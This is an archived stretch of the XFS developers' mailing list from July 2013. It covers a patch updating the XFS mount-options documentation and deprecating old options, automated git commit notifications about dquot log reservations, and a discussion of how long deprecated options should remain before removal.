@@ -124,16 +157,11 @@ When mounting an XFS filesystem, the following options are accepted. > optional, and the log section can be separate from the data > section or contained within it. > > - mtpt=mountpoint > - Use with the "dmapi" option. The value specified here will be > - included in the DMAPI mount event, and should be the path of > - the actual mountpoint that is used. > - > noalign > - Data allocations will not be aligned at stripe unit boundaries. > - > - noatime > - Access timestamps are not updated when a file is read. > + Data allocations will not be aligned at stripe unit > + boundaries. This is only relevant to filesystems created > + with non-zero data alignment parameters (sunit, swidth) by > + mkfs. > > norecovery > The filesystem will be mounted without running log recovery. > @@ -144,8 +172,14 @@ When mounting an XFS filesystem, the following options are accepted. > the mount will fail. > > nouuid > - Don't check for double mounted file systems using the file system uuid. > - This is useful to mount LVM snapshot volumes. > + Don't check for double mounted file systems using the file > + system uuid. This is useful to mount LVM snapshot volumes, > + and often used in combination with "norecovery" for mounting > + read-only snapshots. > + > + noquota > + Forcibly turns off all quota accounting and enforcement > + within the filesystem. > > uquota/usrquota/uqnoenforce/quota > User disk quota accounting enabled, and limits (optionally) > @@ -160,24 +194,64 @@ When mounting an XFS filesystem, the following options are accepted. > enforced. Refer to xfs_quota(8) for further details. > > sunit=value and swidth=value > - Used to specify the stripe unit and width for a RAID device or > - a stripe volume. "value" must be specified in 512-byte block > - units. > - If this option is not specified and the filesystem was made on > - a stripe volume or the stripe width or unit were specified for > - the RAID device at mkfs time, then the mount system call will > - restore the value from the superblock. For filesystems that > - are made directly on RAID devices, these options can be used > - to override the information in the superblock if the underlying > - disk layout changes after the filesystem has been created. > - The "swidth" option is required if the "sunit" option has been > - specified, and must be a multiple of the "sunit" value. > + Used to specify the stripe unit and width for a RAID device > + or a stripe volume. "value" must be specified in 512-byte > + block units. These options are only relevant to filesystems > + that were created with non-zero data alignment parameters. > + > + The sunit and swidth parameters specified must be compatible > + with the existing filesystem alignment characteristics. In > + general, that means the only valid changes to sunit are > + increasing it by a power-of-2 multiple. Valid swidth values > + are any integer multiple of a valid sunit value. > + > + Typically the only time these mount options are necessary if > + after an underlying RAID device has had it's geometry > + modified, such as adding a new disk to a RAID5 lun and > + reshaping it. > > swalloc > Data allocations will be rounded up to stripe width boundaries > when the current end of file is being extended and the file > size is larger than the stripe width size. > > + wsync > + When specified, all filesystem namespace operations are > + executed synchronously. This ensures that when the namespace > + operation (create, unlink, etc) completes, the change to the > + namespace is on stable storage. This is useful in HA setups > + where failover must not result in clients seeing > + inconsistent namespace presentation during or after a > + failover event. > + > + > +Deprecated Mount Options > +======================== > + > + delaylog/nodelaylog > + Delayed logging is the only logging method that XFS supports > + now, so these mount options are now ignored. > + > + Due for removal in 3.12. > + > + ihashsize=value > + In memory inode hashes have been removed, so this option has > + no function as of August 2007. Option is deprecated. > + > + Due for removal in 3.12. > + > + irixsgid > + This behaviour is now controlled by a sysctl, so the mount > + option is ignored. > + > + Due for removal in 3.12. > + > + osyncisdsync > + osyncisosync > + O_SYNC and O_DSYNC are fully supported, so there is no need > + for these options any more. > + > + Due for removal in 3.12. I finally read through Documentation/ABI/README, and I agree this all seems fairly reasonable with respect to that doc. I do agree that it would be good to add these into the Documentation/ABI/obsolete directory. The only other concern that I have is that the doc is saying that they want two years notice. 3.12 might be a little short for that timeframe. Anyway we can cross that bridge when we come to it. Applied. -Ben From bpm@oss.sgi.com Tue Jul 9 16:52:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A4D0629E1E; Tue, 9 Jul 2013 16:52:45 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-6-gb0a9dab X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 862a62937e76a91da218c1ee4dceb7b0700fed67 X-Git-Newrev: b0a9dab78aee2a479d7c226e6939d553967e4024 Message-Id: <20130709215245.A4D0629E1E@oss.sgi.com> Date: Tue, 9 Jul 2013 16:52:45 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated b0a9dab xfs: dquot log reservations are too small f3508bc xfs: remove local fork format handling from xfs_bmapi_write() from 862a62937e76a91da218c1ee4dceb7b0700fed67 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit b0a9dab78aee2a479d7c226e6939d553967e4024 Author: Dave Chinner Date: Wed Jul 10 07:04:01 2013 +1000 xfs: dquot log reservations are too small During review of the separate project quota inode patches, it became obvious that the dquot log reservation calculation underestimated the number dquots that can be modified in a transaction. This has it's roots way back in the Irix quota implementation. That is, when quotas were first implemented in XFS, it only supported user and project quotas as Irix did not have group quotas. Hence the worst case operation involving dquot modification was calculated to involve 2 user dquots and 1 project dquot or 1 user dequot and 2 project dquots. i.e. 3 dquots. This was determined back in 1996, and has remained unchanged ever since. However, back in 2001, the Linux XFS port dropped all support for project quota and implmented group quotas over the top. This was effectively done with a search-and-replace of project with group, and as such the log reservation was not changed. However, with the advent of group quotas, chmod and rename now could modify more than 3 dquots in a single transaction - both could modify 4 dquots. Hence this log reservation has been wrong for a long time. In 2005, project quota support was reintroduced into Linux, but it was implemented to be mutually exclusive to group quotas and so this didn't add any new changes to the dquot log reservation. Hence when project quotas were in use (rather than group quotas) the log reservation was again valid, just like in the Irix days. Now, with the addition of the separate project quota inode, group and project quotas are no longer mutually exclusive, and hence operations can now modify three dquots per inode where previously it was only two. The worst case here is the rename transaction, which can allocate/free space on two different directory inodes, and if they have different uid/gid/prid configurations and are world writeable, then rename can actually modify 6 different dquots now. Further, the dquot log reservation doesn't take into account the space used by the dquot log format structure that precedes the dquot that is logged, and hence further underestimates the worst case log space required by dquots during a transaction. This has been missing since the first commit in 1996. Hence the worst case log reservation needs to be increased from 3 to 6, and it needs to take into account a log format header for each of those dquots. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit f3508bcddf8fae6ebd21000d708cf09e7e77a963 Author: Dave Chinner Date: Wed Jul 10 07:04:00 2013 +1000 xfs: remove local fork format handling from xfs_bmapi_write() The conversion from local format to extent format requires interpretation of the data in the fork being converted, so it cannot be done in a generic way. It is up to the caller to convert the fork format to extent format before calling into xfs_bmapi_write() so format conversion can be done correctly. The code in xfs_bmapi_write() to convert the format is used implicitly by the attribute and directory code, but they specifically zero the fork size so that the conversion does not do any allocation or manipulation. Move this conversion into the shortform to leaf functions for the dir/attr code so the conversions are explicitly controlled by all callers. Now we can remove the conversion code in xfs_bmapi_write. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_attr_leaf.c | 2 + fs/xfs/xfs_bmap.c | 199 ++++++++++++++++++++--------------------------- fs/xfs/xfs_bmap.h | 1 + fs/xfs/xfs_dir2_block.c | 20 +++-- fs/xfs/xfs_quota.h | 25 +++++- fs/xfs/xfs_trans_dquot.c | 9 +-- 6 files changed, 123 insertions(+), 133 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Jul 9 16:52:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 79F1529E22; Tue, 9 Jul 2013 16:52:55 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-6-gb0a9dab X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 862a62937e76a91da218c1ee4dceb7b0700fed67 X-Git-Newrev: b0a9dab78aee2a479d7c226e6939d553967e4024 Message-Id: <20130709215255.79F1529E22@oss.sgi.com> Date: Tue, 9 Jul 2013 16:52:54 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated b0a9dab xfs: dquot log reservations are too small f3508bc xfs: remove local fork format handling from xfs_bmapi_write() from 862a62937e76a91da218c1ee4dceb7b0700fed67 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit b0a9dab78aee2a479d7c226e6939d553967e4024 Author: Dave Chinner Date: Wed Jul 10 07:04:01 2013 +1000 xfs: dquot log reservations are too small During review of the separate project quota inode patches, it became obvious that the dquot log reservation calculation underestimated the number dquots that can be modified in a transaction. This has it's roots way back in the Irix quota implementation. That is, when quotas were first implemented in XFS, it only supported user and project quotas as Irix did not have group quotas. Hence the worst case operation involving dquot modification was calculated to involve 2 user dquots and 1 project dquot or 1 user dequot and 2 project dquots. i.e. 3 dquots. This was determined back in 1996, and has remained unchanged ever since. However, back in 2001, the Linux XFS port dropped all support for project quota and implmented group quotas over the top. This was effectively done with a search-and-replace of project with group, and as such the log reservation was not changed. However, with the advent of group quotas, chmod and rename now could modify more than 3 dquots in a single transaction - both could modify 4 dquots. Hence this log reservation has been wrong for a long time. In 2005, project quota support was reintroduced into Linux, but it was implemented to be mutually exclusive to group quotas and so this didn't add any new changes to the dquot log reservation. Hence when project quotas were in use (rather than group quotas) the log reservation was again valid, just like in the Irix days. Now, with the addition of the separate project quota inode, group and project quotas are no longer mutually exclusive, and hence operations can now modify three dquots per inode where previously it was only two. The worst case here is the rename transaction, which can allocate/free space on two different directory inodes, and if they have different uid/gid/prid configurations and are world writeable, then rename can actually modify 6 different dquots now. Further, the dquot log reservation doesn't take into account the space used by the dquot log format structure that precedes the dquot that is logged, and hence further underestimates the worst case log space required by dquots during a transaction. This has been missing since the first commit in 1996. Hence the worst case log reservation needs to be increased from 3 to 6, and it needs to take into account a log format header for each of those dquots. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit f3508bcddf8fae6ebd21000d708cf09e7e77a963 Author: Dave Chinner Date: Wed Jul 10 07:04:00 2013 +1000 xfs: remove local fork format handling from xfs_bmapi_write() The conversion from local format to extent format requires interpretation of the data in the fork being converted, so it cannot be done in a generic way. It is up to the caller to convert the fork format to extent format before calling into xfs_bmapi_write() so format conversion can be done correctly. The code in xfs_bmapi_write() to convert the format is used implicitly by the attribute and directory code, but they specifically zero the fork size so that the conversion does not do any allocation or manipulation. Move this conversion into the shortform to leaf functions for the dir/attr code so the conversions are explicitly controlled by all callers. Now we can remove the conversion code in xfs_bmapi_write. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_attr_leaf.c | 2 + fs/xfs/xfs_bmap.c | 199 ++++++++++++++++++++--------------------------- fs/xfs/xfs_bmap.h | 1 + fs/xfs/xfs_dir2_block.c | 20 +++-- fs/xfs/xfs_quota.h | 25 +++++- fs/xfs/xfs_trans_dquot.c | 9 +-- 6 files changed, 123 insertions(+), 133 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Jul 9 16:55:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 621D329E1E for ; Tue, 9 Jul 2013 16:55:51 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3E66D304032; Tue, 9 Jul 2013 14:55:51 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id EED80500B4B; Tue, 9 Jul 2013 16:55:50 -0500 (CDT) Date: Tue, 9 Jul 2013 16:55:50 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/3] xfs: remaining 3.11 merge patches Message-ID: <20130709215550.GX20932@sgi.com> References: <1373403841-16612-1-git-send-email-david@fromorbit.com> <20130709210941.GV32736@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709210941.GV32736@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 09, 2013 at 04:09:41PM -0500, Ben Myers wrote: > On Wed, Jul 10, 2013 at 07:03:58AM +1000, Dave Chinner wrote: > > I figured it was easiest for you to just repost all three remainng > > patches for the 3.11 merge window that I have in one set. The dquot > > log res patch has been updated to address Chandra's review. > > Much appreciated! Applied the last two. From david@fromorbit.com Tue Jul 9 19:24:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0EB2B7F3F for ; Tue, 9 Jul 2013 19:24:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9FE06AC003 for ; Tue, 9 Jul 2013 17:24:41 -0700 (PDT) X-ASG-Debug-ID: 1373415878-04bdf02b8eb43500001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id zDPCiYuTyARCifWY for ; Tue, 09 Jul 2013 17:24:38 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuUMAJCo3FF5LD3k/2dsb2JhbABbgwmDHrlHhSgEAYEVF3SCIwEBBAE6HCMFCwgDDgYBAwklDwUlAyETiAkFuhgWjh0HAQQPgR0Hg3QDl1ORSoMjKoEsAR8 Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 10 Jul 2013 09:54:36 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwiCu-0005r1-MN; Wed, 10 Jul 2013 10:24:32 +1000 Date: Wed, 10 Jul 2013 10:24:32 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: update mount options documentation Message-ID: <20130710002432.GM3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: update mount options documentation References: <1373403841-16612-1-git-send-email-david@fromorbit.com> <1373403841-16612-2-git-send-email-david@fromorbit.com> <20130709213703.GW20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709213703.GW20932@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373415878 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136307 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 04:37:03PM -0500, Ben Myers wrote: > On Wed, Jul 10, 2013 at 07:03:59AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > Because it's horribly out of date. > > > > And mark various deprecated options as deprecated and give them a > > removal date. > > > > Signed-off-by: Dave Chinner > > Reviewed-by: Mark Tinguely > > --- > > Documentation/filesystems/xfs.txt | 317 +++++++++++++++++++++++++------------- > > 1 file changed, 209 insertions(+), 108 deletions(-) > > > > diff --git a/Documentation/filesystems/xfs.txt b/Documentation/filesystems/xfs.txt > > index 83577f0..12525b1 100644 > > --- a/Documentation/filesystems/xfs.txt > > +++ b/Documentation/filesystems/xfs.txt > > @@ -18,6 +18,8 @@ Mount Options > > ============= > > > > When mounting an XFS filesystem, the following options are accepted. > > +For boolean mount options, the names with the (*) suffix is the > > +default behaviour. > > > > allocsize=size > > Sets the buffered I/O end-of-file preallocation size when > > @@ -25,97 +27,128 @@ When mounting an XFS filesystem, the following options are accepted. > > Valid values for this option are page size (typically 4KiB) > > through to 1GiB, inclusive, in power-of-2 increments. > > > > - attr2/noattr2 > > - The options enable/disable (default is disabled for backward > > - compatibility on-disk) an "opportunistic" improvement to be > > - made in the way inline extended attributes are stored on-disk. > > - When the new form is used for the first time (by setting or > > - removing extended attributes) the on-disk superblock feature > > - bit field will be updated to reflect this format being in use. > > + The default behaviour is for dynamic end-of-file > > + preallocation size, which uses a set of heuristics to > > + optimise the preallocation size based on the current > > + allocation patterns within the file and the access patterns > > + to the file. Specifying a fixed allocsize value turns off > > + the dynamic behaviour. > > + > > + attr2 > > + noattr2 > > + The options enable/disable an "opportunistic" improvement to > > + be made in the way inline extended attributes are stored > > + on-disk. When the new form is used for the first time when > > + attr2 is selected (either when setting or removing extended > > + attributes) the on-disk superblock feature bit field will be > > + updated to reflect this format being in use. > > + > > + The default behaviour is determined by the on-disk feature > > + bit indicating that attr2 behaviour is active. If either > > + mount option it set, then that becomes the new default used > > + by the filesystem. > > > > CRC enabled filesystems always use the attr2 format, and so > > will reject the noattr2 mount option if it is set. > > > > - barrier > > - Enables the use of block layer write barriers for writes into > > - the journal and unwritten extent conversion. This allows for > > - drive level write caching to be enabled, for devices that > > - support write barriers. > > + barrier (*) > > + nobarrier > > + Enables/disables the use of block layer write barriers for > > + writes into the journal and for data integrity operations. > > + This allows for drive level write caching to be enabled, for > > + devices that support write barriers. > > > > discard > > - Issue command to let the block device reclaim space freed by the > > - filesystem. This is useful for SSD devices, thinly provisioned > > - LUNs and virtual machine images, but may have a performance > > - impact. > > - > > - dmapi > > - Enable the DMAPI (Data Management API) event callouts. > > - Use with the "mtpt" option. > > - > > - grpid/bsdgroups and nogrpid/sysvgroups > > - These options define what group ID a newly created file gets. > > - When grpid is set, it takes the group ID of the directory in > > - which it is created; otherwise (the default) it takes the fsgid > > - of the current process, unless the directory has the setgid bit > > - set, in which case it takes the gid from the parent directory, > > - and also gets the setgid bit set if it is a directory itself. > > - > > - ihashsize=value > > - In memory inode hashes have been removed, so this option has > > - no function as of August 2007. Option is deprecated. > > - > > - ikeep/noikeep > > - When ikeep is specified, XFS does not delete empty inode clusters > > - and keeps them around on disk. ikeep is the traditional XFS > > - behaviour. When noikeep is specified, empty inode clusters > > - are returned to the free space pool. The default is noikeep for > > - non-DMAPI mounts, while ikeep is the default when DMAPI is in use. > > - > > - inode64 > > - Indicates that XFS is allowed to create inodes at any location > > - in the filesystem, including those which will result in inode > > - numbers occupying more than 32 bits of significance. This is > > - the default allocation option. Applications which do not handle > > - inode numbers bigger than 32 bits, should use inode32 option. > > + nodiscard (*) > > + Enable/disable the issuing of commands to let the block > > + device reclaim space freed by the filesystem. This is > > + useful for SSD devices, thinly provisioned LUNs and virtual > > + machine images, but may have a performance impact. > > + > > + Note: It is currently recommended that you use the fstrim > > + application to discard unused blocks rather than the discard > > + mount option because the performance impact of this option > > + is quite severe. > > + > > + grpid/bsdgroups > > + nogrpid/sysvgroups (*) > > + These options define what group ID a newly created file > > + gets. When grpid is set, it takes the group ID of the > > + directory in which it is created; otherwise it takes the > > + fsgid of the current process, unless the directory has the > > + setgid bit set, in which case it takes the gid from the > > + parent directory, and also gets the setgid bit set if it is > > + a directory itself. > > + > > + filestreams > > + Make the data allocator use the filestreams allocation mode > > + across the entire filesystem rather than just on directories > > + configured to use it. > > + > > + ikeep > > + noikeep (*) > > + When ikeep is specified, XFS does not delete empty inode > > + clusters and keeps them around on disk. When noikeep is > > + specified, empty inode clusters are returned to the free > > + space pool. > > > > inode32 > > - Indicates that XFS is limited to create inodes at locations which > > - will not result in inode numbers with more than 32 bits of > > - significance. This is provided for backwards compatibility, since > > - 64 bits inode numbers might cause problems for some applications > > - that cannot handle large inode numbers. > > - > > - largeio/nolargeio > > + inode64 (*) > > + When inode32 is specified, it indicates that XFS limits > > + inode creation to locations which will not result in inode > > + numbers with more than 32 bits of significance. > > + > > + When inode64 is specified, it indicates that XFS is allowed > > + to create inodes at any location in the filesystem, > > + including those which will result in inode numbers occupying > > + more than 32 bits of significance. > > + > > + inode32 is provided for backwards compatibility with older > > + systems and applications, since 64 bits inode numbers might > > + cause problems for some applications that cannot handle > > + large inode numbers. If applications are in use which do > > + not handle inode numbers bigger than 32 bits, the inode32 > > + option should be specified. > > + > > + > > + largeio > > + nolargeio (*) > > If "nolargeio" is specified, the optimal I/O reported in > > - st_blksize by stat(2) will be as small as possible to allow user > > - applications to avoid inefficient read/modify/write I/O. > > - If "largeio" specified, a filesystem that has a "swidth" specified > > - will return the "swidth" value (in bytes) in st_blksize. If the > > - filesystem does not have a "swidth" specified but does specify > > - an "allocsize" then "allocsize" (in bytes) will be returned > > - instead. > > - If neither of these two options are specified, then filesystem > > - will behave as if "nolargeio" was specified. > > + st_blksize by stat(2) will be as small as possible to allow > > + user applications to avoid inefficient read/modify/write > > + I/O. This is typically the page size of the machine, as > > + this is the granularity of the page cache. > > + > > + If "largeio" specified, a filesystem that was created with a > > + "swidth" specified will return the "swidth" value (in bytes) > > + in st_blksize. If the filesystem does not have a "swidth" > > + specified but does specify an "allocsize" then "allocsize" > > + (in bytes) will be returned instead. Otherwise the behaviour > > + is the same as if "nolargeio" was specified. > > > > logbufs=value > > - Set the number of in-memory log buffers. Valid numbers range > > - from 2-8 inclusive. > > - The default value is 8 buffers for filesystems with a > > - blocksize of 64KiB, 4 buffers for filesystems with a blocksize > > - of 32KiB, 3 buffers for filesystems with a blocksize of 16KiB > > - and 2 buffers for all other configurations. Increasing the > > - number of buffers may increase performance on some workloads > > - at the cost of the memory used for the additional log buffers > > - and their associated control structures. > > + Set the number of in-memory log buffers. Valid numbers > > + range from 2-8 inclusive. > > + > > + The default value is 8 buffers. > > + > > + If the memory cost of 8 log buffers is too high on small > > + systems, then it may be reduced at some cost to performance > > + on metadata intensive workloads. The logbsize option below > > + controls the size of each buffer and so is also relevent to > > + this case. > > > > logbsize=value > > - Set the size of each in-memory log buffer. > > - Size may be specified in bytes, or in kilobytes with a "k" suffix. > > - Valid sizes for version 1 and version 2 logs are 16384 (16k) and > > - 32768 (32k). Valid sizes for version 2 logs also include > > - 65536 (64k), 131072 (128k) and 262144 (256k). > > - The default value for machines with more than 32MiB of memory > > - is 32768, machines with less memory use 16384 by default. > > + Set the size of each in-memory log buffer. The size may be > > + specified in bytes, or in kilobytes with a "k" suffix. > > + Valid sizes for version 1 and version 2 logs are 16384 (16k) > > + and 32768 (32k). Valid sizes for version 2 logs also > > + include 65536 (64k), 131072 (128k) and 262144 (256k). The > > + logbsize must be an integer multiple of the log > > + stripe unit configured at mkfs time. > > + > > + The default value for for version 1 logs is 32768, while the > > + default value for version 2 logs is MAX(32768, log_sunit). > > > > logdev=device and rtdev=device > > Use an external log (metadata journal) and/or real-time device. > > @@ -124,16 +157,11 @@ When mounting an XFS filesystem, the following options are accepted. > > optional, and the log section can be separate from the data > > section or contained within it. > > > > - mtpt=mountpoint > > - Use with the "dmapi" option. The value specified here will be > > - included in the DMAPI mount event, and should be the path of > > - the actual mountpoint that is used. > > - > > noalign > > - Data allocations will not be aligned at stripe unit boundaries. > > - > > - noatime > > - Access timestamps are not updated when a file is read. > > + Data allocations will not be aligned at stripe unit > > + boundaries. This is only relevant to filesystems created > > + with non-zero data alignment parameters (sunit, swidth) by > > + mkfs. > > > > norecovery > > The filesystem will be mounted without running log recovery. > > @@ -144,8 +172,14 @@ When mounting an XFS filesystem, the following options are accepted. > > the mount will fail. > > > > nouuid > > - Don't check for double mounted file systems using the file system uuid. > > - This is useful to mount LVM snapshot volumes. > > + Don't check for double mounted file systems using the file > > + system uuid. This is useful to mount LVM snapshot volumes, > > + and often used in combination with "norecovery" for mounting > > + read-only snapshots. > > + > > + noquota > > + Forcibly turns off all quota accounting and enforcement > > + within the filesystem. > > > > uquota/usrquota/uqnoenforce/quota > > User disk quota accounting enabled, and limits (optionally) > > @@ -160,24 +194,64 @@ When mounting an XFS filesystem, the following options are accepted. > > enforced. Refer to xfs_quota(8) for further details. > > > > sunit=value and swidth=value > > - Used to specify the stripe unit and width for a RAID device or > > - a stripe volume. "value" must be specified in 512-byte block > > - units. > > - If this option is not specified and the filesystem was made on > > - a stripe volume or the stripe width or unit were specified for > > - the RAID device at mkfs time, then the mount system call will > > - restore the value from the superblock. For filesystems that > > - are made directly on RAID devices, these options can be used > > - to override the information in the superblock if the underlying > > - disk layout changes after the filesystem has been created. > > - The "swidth" option is required if the "sunit" option has been > > - specified, and must be a multiple of the "sunit" value. > > + Used to specify the stripe unit and width for a RAID device > > + or a stripe volume. "value" must be specified in 512-byte > > + block units. These options are only relevant to filesystems > > + that were created with non-zero data alignment parameters. > > + > > + The sunit and swidth parameters specified must be compatible > > + with the existing filesystem alignment characteristics. In > > + general, that means the only valid changes to sunit are > > + increasing it by a power-of-2 multiple. Valid swidth values > > + are any integer multiple of a valid sunit value. > > + > > + Typically the only time these mount options are necessary if > > + after an underlying RAID device has had it's geometry > > + modified, such as adding a new disk to a RAID5 lun and > > + reshaping it. > > > > swalloc > > Data allocations will be rounded up to stripe width boundaries > > when the current end of file is being extended and the file > > size is larger than the stripe width size. > > > > + wsync > > + When specified, all filesystem namespace operations are > > + executed synchronously. This ensures that when the namespace > > + operation (create, unlink, etc) completes, the change to the > > + namespace is on stable storage. This is useful in HA setups > > + where failover must not result in clients seeing > > + inconsistent namespace presentation during or after a > > + failover event. > > + > > + > > +Deprecated Mount Options > > +======================== > > + > > + delaylog/nodelaylog > > + Delayed logging is the only logging method that XFS supports > > + now, so these mount options are now ignored. > > + > > + Due for removal in 3.12. > > + > > + ihashsize=value > > + In memory inode hashes have been removed, so this option has > > + no function as of August 2007. Option is deprecated. > > + > > + Due for removal in 3.12. > > + > > + irixsgid > > + This behaviour is now controlled by a sysctl, so the mount > > + option is ignored. > > + > > + Due for removal in 3.12. > > + > > + osyncisdsync > > + osyncisosync > > + O_SYNC and O_DSYNC are fully supported, so there is no need > > + for these options any more. > > + > > + Due for removal in 3.12. > > I finally read through Documentation/ABI/README, and I agree this all seems > fairly reasonable with respect to that doc. > > I do agree that it would be good to add these into the > Documentation/ABI/obsolete directory. I think that it is more relevant to document it alongside the XFS mount option/systune documentation ;) > The only other concern that I have is that the doc is saying that > they want two years notice. 3.12 might be a little short for that > timeframe. Anyway we can cross that bridge when we come to it. The "two year" directive is that items added to the "stable" ABI group will remain stable for at least 2 years. It does not say anything about how long an item should remain in the obselete state before being removed. The rule of thumb has been generally applied is that one year of warning between first deprecation notices and removal is sufficient. But it's a moot argument - the most recently deprecated mount option in the list has been issuing warnings (i.e. telling uses directly that it is obsolete) since: commit 242d621964dd8641df53f7d51d4c6ead655cc5a6 Author: Christoph Hellwig Date: Wed Aug 24 05:57:51 2011 +0000 xfs: deprecate the nodelaylog mount option Which was release in 3.1 on October 24 2011. So by the time 3.12 releases (roughly 6 months from now), it will have been giving deprecation warnings for over 2 years and so we are fine to remove it. Besides, what is in Documentation/ABI are guidelines - not hard rules that must be strictly followed. It is up to *our discretion* as to how we apply them to XFS. So let's treat them as intended - as guidelines - because the world won't end if we don't follow them strictly to the letter.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From aurfalien@gmail.com Tue Jul 9 22:42:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0ABE97F3F for ; Tue, 9 Jul 2013 22:42:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id F0D378F8040 for ; Tue, 9 Jul 2013 20:42:26 -0700 (PDT) X-ASG-Debug-ID: 1373427742-04cbb0468ed677e0001-NocioJ Received: from mail-ob0-f171.google.com (mail-ob0-f171.google.com [209.85.214.171]) by cuda.sgi.com with ESMTP id N2RNmWhVBK09ywB1 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 09 Jul 2013 20:42:22 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] Received: by mail-ob0-f171.google.com with SMTP id dn14so7998711obc.30 for ; Tue, 09 Jul 2013 20:42:22 -0700 (PDT) X-Barracuda-IPDD: 